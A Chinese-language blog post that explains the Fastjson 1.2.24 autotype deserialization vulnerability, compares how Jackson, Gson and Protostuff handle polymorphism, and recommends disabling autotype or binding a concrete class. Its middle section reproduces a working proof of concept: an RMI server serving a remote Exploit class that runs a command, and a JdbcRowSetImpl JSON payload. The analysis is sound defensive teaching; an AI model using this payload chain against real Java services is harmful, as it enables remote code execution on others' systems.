前言

前段时间FastJson被曝高危破绽,其实之前也被报过相似的破绽,只是我的项目中没有应用,所以始终也没怎么关注;这一次刚好有我的项目用到FastJson,打算对其做一个剖析。

破绽背景

2020年05月28日, 360CERT监测发现业内平安厂商公布了[Fastjson近程代码执行破绽](https://cert.360.cn/warning/detail?id=af8fea5f165df6198033de208983e2ad)的危险通告,破绽等级:高危
Fastjson是阿里巴巴的开源JSON解析库,它能够解析JSON格局的字符串,反对将Java Bean序列化为JSON字符串,也能够从JSON字符串反序列化到JavaBean。
Fastjson存在近程代码执行破绽autotype开关的限度能够被绕过,链式的反序列化攻击者精心结构反序列化利用链,最终达成近程命令执行的结果。此破绽自身无奈绕过Fastjson的黑名单限度,须要配合不在黑名单中的反序列化利用链能力实现残缺的破绽利用。

破绽的根本原因还是Fastjson的autotype性能,此性能能够反序列化的时候人为指定精心设计的类,达成近程命令执行;

AutoType性能

问题形容

咱们在应用各种Json序列化工具的时候,其实在序列化之后很多状况是没有蕴含任何类信息的,比方这样:

{"fruit":{"name":"apple"},"mode":"online"}

咱们在应用的时候,也只须要个别有两种形式:间接转为一个JSONObject,而后通过key值取对应的数据;另外一种就是指定须要转换的对象:

public static <T> T parseObject(String text, Class<T> clazz)

这样能够间接拿到我须要的类对象,很是不便;然而很多业务中会有多态的需要,比方像上面这样:

//水果接口类public interface Fruit {}//通过指定的形式购买水果public class Buy {    private String mode;    private Fruit fruit;}//具体的水果类--苹果public class Apple implements Fruit {    private String name;}

这种状况下,如果只是序列化为没有类信息的json字符串,那么其中的Fruit就无奈辨认具体的类:

 String jsonString = "{"fruit":{"name":"apple"},"mode":"online"}"; Buy newBuy = JSON.parseObject(jsonString, Buy.class); Apple newApple = (Apple) newBuy.getFruit();

这种状况下间接强转间接报ClassCastException异样;

AutoType引入

为此FastJson引入了autotype性能,应用也很简略:

Apple apple = new Apple();apple.setName("apple");Buy buy = new Buy("online", apple);String jsonString2 = JSON.toJSONString(buy, SerializerFeature.WriteClassName);

在序列化的时候指定SerializerFeature.WriteClassName即可,这样序列化之后的json字符串如下所示:

{"@type":"com.fastjson.Buy","fruit":{"@type":"com.fastjson.impl.Apple","name":"apple"},"mode":"online"}

能够看到在json字符串中蕴含了类信息,这样在反序列化的时候就能够转成具体的实现类;然而就是因为在json字符串中蕴含了类信息,给了黑客攻击的可能;

模仿攻打

当初的版本FastJson做了大量的进攻伎俩包含黑名单,白名单等,为了模仿不便,理解问题,咱们这边应用FastJson比拟早的版本:1.2.24
在模仿之前咱们须要理解一下获取到类信息之后是如何把属性设置到类对象中的,它是通过setXxx()来给类对象设值的;
一个常见的攻打类是:com.sun.rowset.JdbcRowSetImpl,此类的dataSourceName反对传入一个rmi的源,而后能够设置autocommit主动连贯,执行rmi中的办法;
这里首选须要筹备一个RMI类:

public class RMIServer {    public static void main(String argv[]) {         Registry registry = LocateRegistry.createRegistry(1099);         Reference reference = new Reference("Exploit", "Exploit", "http://localhost:8080/");         registry.bind("Exploit", new ReferenceWrapper(reference));    }}

这里的Reference指定了类名,曾经近程地址,能够从近程服务器上加载class文件来实例化;筹备好Exploit类,编译成class文件,而后把他放在本地的http服务器中即可;

public class Exploit {    public Exploit() {         Runtime.getRuntime().exec("calc");    }}

筹备好这些之后,上面就须要模仿Json字符串了:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

fastjson在反序化的时候,先执行setDataSourceName办法,而后setAutoCommit的时候会主动连贯设置的dataSourceName属性,最终获取到Exploit类执行其中的相干操作,以上的程序会在本地调起计算器;
注:以上起作用只会在咱们应用没有指定具体类状况下:

JSON.parseObject(jsonString);JSON.parse(jsonString);

如果指定了具体的类,会间接报类型谬误:

com.alibaba.fastjson.JSONException: type not match

如何防止

1.不应用autotype

如果你没有应用多态的需要,没必要应用autotype,没必要应用SerializerFeature.WriteClassName个性,间接敞开autotype性能;或者开启平安模式;

ParserConfig.getGlobalInstance().setAutoTypeSupport(false);ParserConfig.getGlobalInstance().setSafeMode(true);

2.指定具体类

在反序列化的时候,咱们尽量指定具体类:

public static <T> T parseObject(String text, Class<T> clazz)

这样在反序列化的时候,其实是会和你指定的类型就行比照的,看是否匹配;

序列化工具

序列化工具备很多包含:Jackson,Gson,Protostuff等等;同样他们也会遇到相似的问题,多态如何解决,上面别离看看这几种工具是如何解决的;

1.Jackson

Jackson自身提供了多态的反对,然而在序列化的时候并没有指定具体的类名,而是指定一个编号,相似如下:

@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, include = JsonTypeInfo.As.PROPERTY, property = "type")@JsonSubTypes(value = { @JsonSubTypes.Type(value = Apple.class, name = "a"),        @JsonSubTypes.Type(value = Banana.class, name = "b") })public interface Fruit {}

指定了一个编号属性为type,当type为a的时候对应Apple类,b对应Banana类型;这样在序列化的时候json字符串如下所示:

{"mode":"online","fruit":{"type":"b","name":"banana"}}

这样的益处就是在序列化的时候其实没有写入真正的类名,通过一个映射的形式去指定;害处就是须要在应用的中央进行映射配置比拟麻烦;

2.Gson

Gson对多态的反对是在gson-extras扩大包外面反对的,Gson应用的形式其实和Jackson有点相似,也是通过设置编号进行映射:

RuntimeTypeAdapterFactory<Fruit> typeFactory = RuntimeTypeAdapterFactory.of(Fruit.class, "id").registerSubtype(Apple.class, "apple").registerSubtype(Banana.class, "banana");Gson gson = new GsonBuilder().registerTypeAdapterFactory(typeFactory).create();

示意id为apple对应Apple类型,id为banana对应Banana类型;序列化后的json字符串如下所示:

{"mode":"online","fruit":{"id":"apple","name":"apple"}}

3.Protostuff

Protostuff是间接序列化成二进制的,多态的状况下会把类型间接写入:

Apple apple = new Apple();apple.setName("apple");Buy buy = new Buy("online", apple);Schema<Buy> schema = RuntimeSchema.getSchema(Buy.class);LinkedBuffer buffer = LinkedBuffer.allocate(1024);byte[] data = ProtostuffIOUtil.toByteArray(buy, schema, buffer);

这里同样应用下面的类,序列化之后打印二进制:

[10, 6, 111, 110, 108, 105, 110, 101, 19, -6, 7, 23, **99, 111, 109, 46, 112, 114, 111, 116, 111, 98, 117, 102, 46, 105, 109, 112, 108, 46, 65, 112, 112, 108, 101**, 10, 5, 97, 112, 112, 108, 101, 20]

为了不便晓得外面是否有具体的Apple类,能够输入com.protobuf.impl.Apple二进制:

[99, 111, 109, 46, 112, 114, 111, 116, 111, 98, 117, 102, 46, 105, 109, 112, 108, 46, 65, 112, 112, 108, 101]

重叠的局部正是Apple类形容,同FastJson把具体的类信息寄存到了序列化信息中,那这样会不会也和FastJson一样,存在被攻打的可能那;但其实咱们在应用Protostuff的时候往往是须要强类型绑定的,如下所示:

Schema<Buy> schema2 = RuntimeSchema.getSchema(Buy.class);Buy newBuy = schema2.newMessage();ProtostuffIOUtil.mergeFrom(data, newBuy, schema2);

就像咱们在应用FastJson反序列化的时候强制指定clazz,也能防止攻打;

总结

这种攻击方式,其实和SQL注入攻打挺像的,咱们的程序指定了一个入口,对输出的数据没有限度,或者说没有足够的限度;而程序在拿到数据之后也没有足够的校验,或者说提供了无需校验就能被加载执行的路径,比方FastJosn外面的JSON.parse(jsonstr)形式,无需一个明确的对应类;SQL间接进行拼接等;最初想说的是一个工具只有被用的越多才会越能发现外面的问题,这样能力使咱们的工具更加成熟,Fastjson会越来越弱小。

代码地址

Github